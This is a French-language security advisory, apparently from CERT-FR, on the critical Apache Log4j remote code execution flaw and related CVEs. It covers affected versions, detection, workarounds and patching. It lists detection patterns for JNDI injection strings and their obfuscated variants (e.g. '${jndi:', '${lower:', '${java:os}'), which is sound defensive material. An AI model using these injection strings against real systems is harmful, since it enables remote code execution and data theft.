Vulnérabilité critique dans Apache Log4j

Risque(s)

  • Exécution de code arbitraire à distance

Systèmes affectés

  • Apache Log4j versions 2.16.0 et 2.12.2 (java 7)
  • Apache Log4j version 2.15.0
  • Apache Log4j versions 2.0 à 2.14.1
  • Apache Log4j versions 1.x (versions obsolètes) sous réserve d’une configuration particulière, cf. ci-dessous
  • Les produits utilisant une version vulnérable de Apache Log4j : les CERT nationaux européens tiennent à jour une liste complète des produits et de leur statut vis-à-vis de la vulnérabilité [2]

Résumé

Une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d’application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

Cette vulnérabilité permet à un attaquant de provoquer une exécution de code arbitraire à distance s’il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l’évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d’une page d’authentification qui journalise les erreurs d’authentification.

Des preuves de concept ont déjà été publiées. Cette vulnérabilité fait désormais l’objet d’une exploitation active.

Détection

Le CERT-FR recommande de réaliser une analyse approfondie des journaux réseau. Les motifs suivants permettent d’identifier une tentative d’exploitation de cette vulnérabilité lorsqu’ils sont utilisés dans les URLs ou certaines en-têtes HTTP comme user-agent :
${jndi:
$%7Bjndi:     (prend en compte un obscurcissement simple)
Cependant, les attaquants peuvent utiliser des moyens d’obscurcissement pour contourner les motifs de détection précédents. Les motifs suivants permettent de prendre en compte certaines méthodes d’obscurcissement mais peuvent provoquer des faux positifs :
${${
${::-
%24%7B%3A%3A-
${env:
${date:
${lower:
${upper:
hostName}
}${
${                   (génère beaucoup de faux positifs, mais très exhaustif)
 
Afin de déterminer si une tentative d’exploitation a réussi, et dans le cas où vous disposeriez de journaux contenant des requêtes DNS, il est recommandé de les corréler aux résultats des motifs précédemment énoncés. En effet, si l’exécution d’une requête de type ${jndi:xxx://nom.domaine.com} a fonctionné, une résolution DNS sera alors effectuée pour résoudre le nom de domaine externe nom.domaine.com. L’émission d’une requête DNS peut également faire l’objet d’une trace dans les journaux du serveur applicatif. Ainsi, il peut être utile de chercher le motif [email protected] dans ces journaux.
Note : une résolution de domaine externe ne signifie pas qu’une exécution de code a réussi mais permet de confirmer que l’application est vulnérable. Il sera donc nécessaire de poursuivre l’analyse des journaux pour détecter une compromission.
En complément des informations ci-dessus, une requête de type ${jndi:dns://serveur_dns/enregistrement_TXT} est également utilisable par l’attaquant pour tester la présence de la vulnérabilité.
Il est également intéressant de rechercher les motifs suivants dans les fichiers journaux des applications :
  • le motif [email protected] (et non pas [email protected] comme indiqué précédemment) apparaîtra lorsqu’une injection LDAP est utilisée pour récupérer du contenu qui ne serait pas un objet java au standard rfc2713 : il peut s’agir d’un scan de détection ou d’une tentative erronée d’un attaquant
  • l’injection sera enregistrée dans les journaux telle qu’elle a été soumise par l’attaquant si le serveur LDAP n’est pas joignable ou si l’objet qu’il souhaitait télécharger n’est pas trouvé sur le serveur LDAP : il est donc possible de trouver des tentatives d’injection sous une forme obscurcie dans les journaux, les motifs précédemment listés peuvent donc être utilisés pour identifier toutes les tentatives
  • une erreur contenant le motif « Reference Class Name: » suivi d’un nom de classe puis des lignes commençant par « Type: » et « Content: » peut apparaître dans les journaux si l’injection LDAP fonctionne mais que la classe contenant la charge utile ne peut pas être récupérée sur le serveur LDAP visé
  • il peut être intéressant de chercher des injections en DNS et LDAP basées sur la classe JavaLookup tels que ${java:hw}, ${java:vm} et ${java:os}. Ces dernières sont utilisées par les attaquants pour obtenir des informations sur la machine ciblée.

[Mise à jour du 07 janvier 2022] Le CERT-FR propose au téléchargement un ensemble de règles de détection basées sur la syntaxe utilisée par l’outil suricata. Ces règles peuvent être mises en œuvre, après adaptation, sur un équipement de détection réseau ou un pare-feu applicatif. Un guide de mise en œuvre est également proposé.

  • le guide est disponible ici.
  • les règles sont disponibles ici.

Précisions sur les CVE-2021-45046 et CVE-2021-45105

La version 2.15.0 recommandée jusqu’à présent est affectée par une autre vulnérabilité, désignée par l’identifiant CVE-2021-45046 [4]. Cette vulnérabilité permet à un attaquant non authentifié d’effectuer un déni de service. Par ailleurs, des chercheurs ont mis en évidence la possibilité d’exfiltrer des données dans certaines configurations non détaillées.
Par ailleurs, les versions 2.16.0 et 2.12.2 sont affectées par une nouvelle vulnérabilité, désignée par l’identifiant CVE-2021-45105 [5], qui permet de provoquer un déni de service à distance.

Précisions sur la CVE-2021-44832

La version 2.17.0 recommandée jusqu’à présent est affectée par une vulnérabilité, désignée par l’identifiant CVE-2021-44832 [6]. Cette vulnérabilité permet à un attaquant, autorisé à modifier le fichier de configuration Log4J, d’effectuer une exécution de code à distance. La complexité de l’attaque étant élevée, le CERT-FR continue de recommander la mise à jour des composants Log4j à la version 2.17.0 pour java 8 et 2.12.3 pour java7. Par ailleurs, il est fortement recommandé de rester attentif aux nouvelles vulnérabilités Log4j qui pourraient être identifiées à l’avenir ainsi qu’aux correctifs proposés par Apache.

Précisions sur les modes d’attaque

Il convient également de noter que des techniques permettent d’exploiter la vulnérabilité localement sans recourir à un serveur tiers malveillant. L’attaquant peut injecter un code malveillant dans la requête initiale s’il a suffisamment d’informations sur l’application vulnérable qu’il cible. Cette attaque requiert donc une première phase de reconnaissance et de collecte de données. Cette phase est possible tant que n’ont pas été appliqués : d’une part, un filtrage réseau adéquat et d’autre part, le correctif ou, à défaut, les mesures de contournement. Il est donc important de disposer des journaux de ces environnements pour rechercher des éventuelles traces d’exfiltration de données. Les moyens de détection précédemment peuvent être utilisés à cette fin.
 
Pour rappel : une application utilisant une version non vulnérable de log4j peut transmettre des données à une autre application qui utilise une version vulnérable de cette bibliothèque. L’attaquant pourra exploiter la vulnérabilité dans la seconde application en soumettant une donnée malveillante via la première. Par conséquent, le CERT-FR recommande de ne pas limiter l’identification de la vulnérabilité aux seules applications exposées sur Internet, mais également aux applications internes. L’utilisation d’outils tels que ceux listés ci-dessous facilitera leur identification.

Contournement provisoire

La version 1 de log4j a été initialement déclarée vulnérable cependant la vulnérabilité n’existe que si le composant JMS Appender est configuré pour prendre en compte JNDI. Il s’agit donc d’une configuration très spécifique [1][3].

Il est recommandé d’utiliser une version à jour de l’environnement d’exécution Java (les versions 8u191 et ultérieures apportent des restrictions pour les appels JNDI basés sur LDAP et RMI), cependant les codes d’exploitation les plus récents sont en mesure de contourner ces protections pour continuer d’exploiter la vulnérabilité.

La mise en place de filtres au niveau de vos pare-feux applicatifs pour bloquer les tentatives d’exploitation de cette vulnérabilité peut constituer une première mesure d’urgence mais elle reste insuffisante : les attaquants utilisent différentes techniques d’obscurcissement des données injectées pour contourner ces filtres.

Les contournements proposés initialement ne permettent plus de se prémunir contre certaines formes d’exploitation. Face à la possibilité que d’autres exploitations soient encore découvertes y compris pour la version 2.15.0, le CERT-FR recommande d’utiliser les versions les plus à jour de la bibliothèque.

En cas d’impossibilité de migration, il reste possible de supprimer la classe Java vulnérable. Cette opération impose de tester le fonctionnement de l’application afin d’identifier les impacts de la modification sur son fonctionnement.

Cette suppression peut par exemple être effectuée avec la commande suivante : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Outillage

Solution

Il est fortement recommandé aux utilisateurs d’applications ou de logiciels sur étagère basés sur la technologie Java/J2EE :

  • de conserver les journaux a minima depuis le 1er décembre 2021 à des fins d’analyse ultérieure ;
  • de préparer sans délai des mesures de préservation en cas d’incident majeur, notamment par la mise hors ligne de sauvegardes à jour ;
  • de filtrer et de journaliser les flux sortants des serveurs pour les limiter aux seuls flux autorisés vers des services de confiance ;
  • de prendre contact avec le développeur ou l’éditeur pour vérifier s’ils sont exposés à cette vulnérabilité et si un correctif est disponible.

Il est fortement recommandé aux développeurs/éditeurs :

  • d’inventorier les solutions affectées par les vulnérabilités ;
  • d’informer les utilisateurs et clients de leurs statuts et des actions en cours ;
  • de corriger les solutions en utilisant à minima la version 2.17.0 pour java 8 ou la version 2.12.3 pour java 7 et idéalement la version 2.17.1 pour java 8 ou la version 2.12.4 pour java 7 ;
  • de fournir une nouvelle version de leurs solutions dans les plus brefs délais.

 

Se référer au bulletin de sécurité de l’éditeur pour l’obtention des correctifs (cf. section Documentation).

 


La mise à jour d’un produit ou d’un logiciel est une opération délicate qui doit être menée avec prudence. Il est notamment recommandé d’effectuer des tests autant que possible. Des dispositions doivent également être prises pour garantir la continuité de service en cas de difficultés lors de l’application des mises à jour comme des correctifs ou des changements de version.

Documentation

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.